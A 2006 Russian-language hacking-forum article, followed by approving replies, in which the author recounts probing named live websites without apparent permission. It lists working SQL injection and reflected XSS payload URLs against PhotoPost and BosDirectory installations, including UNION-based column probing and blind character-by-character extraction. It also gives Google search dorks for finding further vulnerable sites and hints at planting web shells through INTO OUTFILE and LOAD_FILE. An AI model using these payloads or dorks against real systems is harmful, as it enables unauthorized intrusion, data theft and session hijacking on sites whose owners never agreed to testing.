ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > ИНФО > Статьи > Авторские статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Часть 2. Записки охотника (теперь за багами).
  #1  
Старый 10.11.2006, 20:46
Аватар для 1ten0.0net1
1ten0.0net1
Time out
Регистрация: 28.11.2005
Сообщений: 547
Провел на форуме:
2320925

Репутация: 1348


По умолчанию Часть 2. Записки охотника (теперь за багами).

Вообщем, день сразу начался здорово - во-первых, я наконец-то поспал хоть 6 часов за последние трое суток.
Во-вторых, идеально пообщался с весьма интересной особой, к которой я испытываю неподдельный интерес.
Но я не об этом. А о том, как я искал баги, и что нашёл.

Усевшись за стол, я задумался - "Если уж везет, то во всем."
И везде. И решил проверить рапространится ли моя удача в интернете.
Заруливаю на Google, забиваю запрос (в этот раз решил соригинальничать немного - попробовал указать сразу две переменных).
Запрос вернул много сайтов, но они мне не понадобились, ибо уже на втором сайте вместо ожидаемого инклуда я получил "неожидаемую" SQL инъекцию (не сразу, само собой, а минуты через две, т. к. сайт мне приглянулся и я решил на нём потестировать навыки (не ломателя, а поисковика)):

_http://www.sophoto.cn/photopost/showgallery.php?cat=501&si=&page=6&sort=1&perpage= 12&password=&ppuser=&what=&name='&=

Остальные ссылки буду давать через POST, привыкайте - к этому, это очень полезно и много безопаснее.

Скрипт в ответ громко выгугался словами:

MySQL error reported!

Сама перменная шла в запросе после оператора LIKE
внутри условия AND. Вообщем, проще показать:
Код:
AND (user LIKE '%'%') ORDER BY
Ладно, подумал я. Мне есть что ответить. Ответ выглядел так:

_http://www.sophoto.cn/photopost/showgallery.php
POST:cat=-501+from+photos+WHERE%20approved='1'+union+select+ 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0/*&si=&page=6&sort=1&perpage=12&password=&ppuser=&w hat=&name='&=


(Кол-во столбцов можно было узнать по выводу ошибки)

Далее, я попробовал продолжить запрос так, как будто бы никакой ошибки нет:

http://www.sophoto.cn/photopost/showgallery.php?cat=501&si=&page=6&sort=1&perpage= 12&password=&ppuser=&what=&name=%')+and(1=1)%20ORD ER%20BY%20disporder,lastpost%20DESC/*&=

Ошибки и впрямь не выпало, а это уже дало мне основания думать, что magic_quotes=Off, то есть кавычки модно будет попробовать, например, для заливки шелла при помощи INTO OUTFILE, ну, вообщем, Вы в курсе.

Далее я осознал, что LIMIT не ORDER )) и попробовал заюзать UNION.

_http://www.sophoto.cn/photopost/showgallery.php?cat=501&si=&page=6&sort=1&perpage= 12&password=&ppuser=&what=&name=no_name%')+union%2 0select%201,USER(),3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8 ,9,0/*&=

Никаких цифр я не увидел, тем более, - имени юзера, по которым сайт общался с БД.

Ну ладно, будем перебирать посимвольно (никогда не юзайте скрипты! - чтобы понять ценность баги, над ней нужно попотеть)).

http://www.sophoto.cn/photopost/showgallery.php?cat=501&si=&page=6&sort=1&perpage= 12&password=&ppuser=&what=&name=%')+and((ascii(low er(substring(USER(),1,1)))%3E200))/*&=

Вообщем, не помню вернуло ли оно истину, но помню, что ..

И тогда я вспылил..... (с) )))

Нет, на самом деле, я в очередной раз задумался, постучал пальцами по столу и пришел к выводу о необходимости поиска другой аналогичной баги, но с более удачным выводом результатов. Само собой, бага нашлась, ведь то был мой счастливый день, да и баги по одиночке не ходят. )

Думаете сейчас я найду багу, через которую залбю шелл? Нет. Я нашел еще один бажный параметр с именем cat (не от слова кот, а от слова каталог)):

http://www.sophoto.cn/photopost/showgallery.php?cat=-501+from+photos+WHERE%20approved='1'+union+select+ 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0/*&si=&page=6&sort=1&perpage=12&password=&ppuser=&w hat=&name='&=


В этом случае ошибки явно не выкидывало, как впрочем не выкидывало ничего вообще. Blind, вообщем.

"Плохой сайт какой-то, неадекватный!" - подумал я. Потом посмотрел вниз страницы и увидел надпись:

Powered by Vbimage.


Что за VB? Visual Basic что ли? )
Удивило, что отсутсвовала версия - но так бывает, когда администраторы сайтов пытаются спрятать свои дырки ) , при этом грубо нарушая авторские права.
"Вот это и будет нашей зацепкой", - решил я.
In da Google:
powered Vbimage

Не помню точного ответа гугля (хотя дело былоо вчера), но кажется порядка трех страниц.
Побродив по страницам, я заметил 2 вещи:
данный скрипт либо идет вместе с vbulletin, как мод, либо лежит где-нить недалеко от папки /photopost/ либо имела надпись Powered by Photopost в титле..

Что за photopost такой? хорошо, что не photoget.
Проверим:
inurlhotopost inurl:name=

Скриптов было достаточно много, среди них в том числе, во главе стоял сайт разработчика данного скрипта. Его мы тоже потестим. Попозже. Сейчас нужно выяснить какие версии есть уязвимы.
На одном из сайтов, на котором работала данная уязвимость в титле я увидел Powered by PhotoPost 4.7.
Ага, надо попробовать:
intitle: Powered by PhotoPost 4.7
А еще на всякий случай просто:
Powered by PhotoPost 4.7

Первой страницей, которую вернул скрипт была:
photo.rol.ru/showphoto.php?photo=2640&password=0&sort=1&cat=500

"Хех."", - подумал я и начал менять параметры.

_http://photo.rol.ru/showgallery.php?cat=last1&si=&page=7&sort=1&perpag e=12&password=&ppuser=&what=&name='&=


Но ничего не вышло. Но справделивость всегда существует, да и день сегодня счастливый, поэтому кое-что я все же нашел. Конкретно - две XSS. А попробую-ка я не SQL, а XSS причем для того же параметра:

_http://photo.rol.ru/showgallery.php?cat=last1&si=&page=7&sort=1&perpag e=12&password=&ppuser=&what=&name=%22%3E%3Ch1%3EZd es%20mogla%20bit%20washa%20reklama.%20Ili%20sniffe r%20=)%3C/h1%3E&=

Ну... не все так плохо! Особенно, учитывая что в домене rol.ru существет весьма популярная почта с WEB-интерфейсом. А вдруг админы профильтруют переменную? Нужно подстраховаться.

_http://photo.rol.ru/showgallery.php?cat=last1&si=&page=7&sort=1&perpag e=12&password=&ppuser=&what=%22%3E%3Ch1%3Estraxowk a numer 1%3C/h1%3E&name=&=

_http://photo.rol.ru/showgallery.php?cat=last1&si=&page=7&sort=1&perpag e=12&password=&ppuser=%22%3E%3Ch1%3EN2%3C/h1%3E&what=&name=&=

В соседнем скрипте тоже была бага:
_http://photo.rol.ru/showphoto.php?photo=166735&size=big%22%3E%3Ch2%3EB ug%20here%3C/h2%3E&password=&sort=1&cat=&page=1

Вообщем, я думаю понятно, что за скрипты там стоят. Кстати, у меня вот руки не дошли закачать фотку с именем <script>alert()</script>. Но, имхо, активные XSS'ки там тоже в ходу.

Таксс.... А ведь уязвимость может быть и на других сайтах! Наведаемся к старым друзьям:

_http://www.sophoto.cn/photopost/showgallery.php?cat=501&si=%22%3E%3Ch1%3EFrom%201t en0.0net1%20with%20love%3C/h1%3E&page=6&sort=1&perpage=12&password=&ppuser=&w hat=&name=&=

Опаньки! Еще и XSS.
Тут я всерьез задумался на степенью кривизны творцов данного чуда. Пойдем к ним в гости.

В титульной части сайта было написано следующее:
PhotoPost PHP Photo Gallery With vBulletin and Other Forum Integration

Ога.... Я думаю понятно, насколько мне повезло - я имею ввиду, что сам скрипт photopost чаще всего как написано, будет рядом с форумами. А это значит что? Это значит, что даже если при помощи SQL ничего не поучится сделать с форумом, то куи утащить будет вполне реально. Как бы найти примерчик...
А далеко ходить не пришлось:
PhotoPost Sites In Action
И ниже ссылочка:

_http://www.photopost.com/action/index.php?cat_id=5'&pg=4&sort=date&sort_dir=a


как выснилсось, на большинстве указанных там сайтов, стоят новые версии PhotoPost'a. Жаль. Ладно потестируем сайт создателей. Долго тестиовать не пришлось: мало того, что они забоялись пользоваться своим творением, так еще пользовались чужим дырявым:

_http://www.photopost.com/action/index.php?cat_id=1

Опускаем глаза и видим:
BosDirectory v2.50

_http://www.photopost.com/action/index.php?cat_id=5+AND(1=2)/*&pg=4&sort=date&sort_dir=a

_http://www.photopost.com/action/index.php?cat_id=5+order+by+10/*&pg=4&sort=date&sort_dir=a

Выкидывает html код. А внизу ошибку выполения запроса:
The query: SELECT category_add FROM bos_categories WHERE category_id=5 order by 10/*
The result: Unknown column '10' in 'order clause'

Ну и отлично. Колумн нужный всео один.

_http://www.photopost.com/action/index.php?cat_id=5+union+select+1/*&pg=4&sort=date&sort_dir=a

Начинаю сомневаться в своей вменяемости:
MySQL error!
The query: SELECT category_parent,category_title FROM bos_categories WHERE category_id=5 union select 1/*
The result: The used SELECT statements have a different number of columns

Ладно, предположим мне показлось (а может это новый виж SQL-инъекии - джамп injection, или на****щая инъекция ) ).
На самом деле, как я понял, там просто в запросе истинном переменная встречается несколько раз, хотя..
Вообщем не суть. Суть в том, что моей целью было найти баги и я их нашел (шеллы я уже добывал, сейчас цель другая).

Ну и наконец, проверим н бажность создателся скрипта
BosDirectory

Отольются кошке мышкины слезы - идем на сайт второго создателя. Сразу находим:
_http://www.bosdev.com/phpinfo.php
Из этого файла можно узнать полный путь к вебу, а потом, при соответствующих правах заинсертить шелл...

ищем XSS. Находим:

_http://www.bosdev.com/demo/BosDirectory/search.php?type=basic&criteria=Anti-virus%22%3E%3Ch1%3Ealarm!%3C/h1%3E

Далее у меня в браузере началась вторая серия паранормалки (я трезвый был когда баги искал!):
_http://www.bosdev.com/demo/BosDirectory/search.php?type=basic&criteria=Anti-virus')%20and(1=2)/*
Все нормально, ошибок нет.
_http://www.bosdev.com/demo/BosDirectory/search.php?type=basic&criteria=Anti-virus')%20and(1=1)/*
(2 раза загрузить)

MySQL error!
The query: INSERT INTO bdir3_search_cache VALUES(2,'Anti-virus') and(1=2)/*')


Your search returned no results
Разве??

Чудеса. Жаль, то не MSSQL, смысл запроса не поменять.(

Но можно дополнить. Кстати, не знаю как Вам, а мне кажется что имя таблицы кэш там не спроста. И запросы каким-то образом кешируются, поэтомум грузить нужно по два раза.

http://www.bosdev.com/demo/BosDirectory/search.php?type=basic&criteria=Anti-virus')%20and(ascii(lower(substring(USER,1,8)))%3E 888)/*

Ну, и таким образом проводим инъекцию.

P. S. Кстати, скрипт сам оказался платным (49$)

Вообщем, итог всего похождения:

1) Многочисленные SQL и XSS инъекции на достаточно популярном проекте PHOTO POST. Скажу сразу - определить версии уязвимых скриптов оказалось, трудно, но уязвимы многие версии.

XSS: showphoto.php; showgallery.php
SQL: showgallery.php

Google trick:
powered Vbimage
intitle:Powered by Photopost
inurl:/photopos/


Пример:
XSS:
http://site.com/BosDirectory/search.php?type=basic&criteria=Anti-virus%22%3E%3Ch1%3Ealarm!%3C/h1%3E
SQL:
photopost/showgallery.php?cat=-501+from+photos+WHERE%20approved='1'+union+select+ 1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0/*
Само собой, magic_quotes=Off. Но только для этой переменной, а их там, бажных достаточно.


2) Соответственно, SQL инъекция и XSS инъекции в платном скрипте BosDirectory.

XSS: скрипт search.php
SQL: скрипт index.php

Google trick:
Powered by BosDirectory
inurl:Bosdirectory


Пример:
XSS:
http://site.ru/showphoto.php?photo=166735&size=big%22%3E%3Ch2%3EB ug%20here%3C/h2%3E
SQL:
http://site.com/index.php?cat_id=5+order+by+10/*

P. P. S. я указал не все скрипты и не все бажные переменые - некоторые я упомянул в статье, некоторые даже не назвал ;-). Кроме того, не стоит забывать о таких прекрасных функциях как LOAD_FILE() и INSERT INTO. Я о них почти не упомняул. А ведь они часто помогают получить шелл.

Удачи!

Всегда готов помочь, если что-то непонятно - обращайтесь.

С уважением, 1ten0.0net1.
__________________
Нельзя считать себя достаточно взрослым, если у тебя школьные фотографии - цифровые.

Последний раз редактировалось 1ten0.0net1; 10.11.2006 в 20:50..
 
Ответить с цитированием

  #2  
Старый 10.11.2006, 20:56
Аватар для Ch3ck
Ch3ck
Познавший АНТИЧАТ
Регистрация: 09.06.2006
Сообщений: 1,359
Провел на форуме:
5301021

Репутация: 1879


По умолчанию

Эх... нравяться мне рассказы Андерсона на ночь... )))))) Молодец!
 
Ответить с цитированием

  #3  
Старый 10.11.2006, 22:20
Аватар для _GaLs_
_GaLs_
Постоянный
Регистрация: 21.04.2006
Сообщений: 540
Провел на форуме:
1310036

Репутация: 726


Отправить сообщение для _GaLs_ с помощью ICQ
По умолчанию

Кульная статья. Полюбому + )
 
Ответить с цитированием

  #4  
Старый 10.11.2006, 22:54
Аватар для Koller
Koller
Постоянный
Регистрация: 25.07.2005
Сообщений: 471
Провел на форуме:
3465924

Репутация: 931
По умолчанию

Ну что тут можно сказать...молодец...
 
Ответить с цитированием

  #5  
Старый 10.11.2006, 23:15
Аватар для D=P=CH= MOD=
D=P=CH= MOD=
Постоянный
Регистрация: 15.08.2006
Сообщений: 404
Провел на форуме:
3811682

Репутация: 641
Отправить сообщение для D=P=CH= MOD= с помощью ICQ
По умолчанию

1ten0.0net1

Респектище!

Прям зачитался))))
 
Ответить с цитированием

  #6  
Старый 11.11.2006, 00:11
Аватар для Zitt
Zitt
Познавший АНТИЧАТ
Регистрация: 07.05.2006
Сообщений: 1,031
Провел на форуме:
5885100

Репутация: 773


Отправить сообщение для Zitt с помощью ICQ
По умолчанию

как всегда захватывающе! Молодца!
 
Ответить с цитированием

  #7  
Старый 11.11.2006, 02:02
Аватар для limpompo
limpompo
Друг Клитора
Регистрация: 27.08.2005
Сообщений: 1,662
Провел на форуме:
6913553

Репутация: 1329


По умолчанию

Читал не отрываясь =)
 
Ответить с цитированием

  #8  
Старый 11.11.2006, 11:06
Аватар для m0le[x]
m0le[x]
Познавший АНТИЧАТ
Регистрация: 25.10.2006
Сообщений: 1,375
Провел на форуме:
7006470

Репутация: 1769


Отправить сообщение для m0le[x] с помощью ICQ
По умолчанию

Отлично! молодец
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Perl с нуля. Часть первая. tclover Авторские статьи 39 12.04.2010 19:08
Записки охотника (за шеллами). Дополнение к статье про читалку файлов. 1ten0.0net1 Авторские статьи 8 25.06.2007 22:21
А ТЕПЕРЬ И НОВЫЙ ХОСТИНГ!!! Егорыч+++ Мировые новости 5 27.11.2004 19:50



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ